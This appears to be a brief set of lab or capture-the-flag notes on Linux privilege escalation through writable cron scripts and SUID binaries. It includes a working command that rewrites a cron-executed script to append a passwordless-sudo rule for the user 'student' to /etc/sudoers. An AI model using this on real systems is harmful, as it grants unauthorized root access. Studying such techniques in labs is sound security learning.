Cronjobs

To specify where the path for the crontab is specified

grep -rnw /usr -e "/home/student/message"

If there’s no text editor to edit your cronjob

printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh

Exploiting SUID Binaries

When it is an executable, you can use strings to check what it does

strings welcome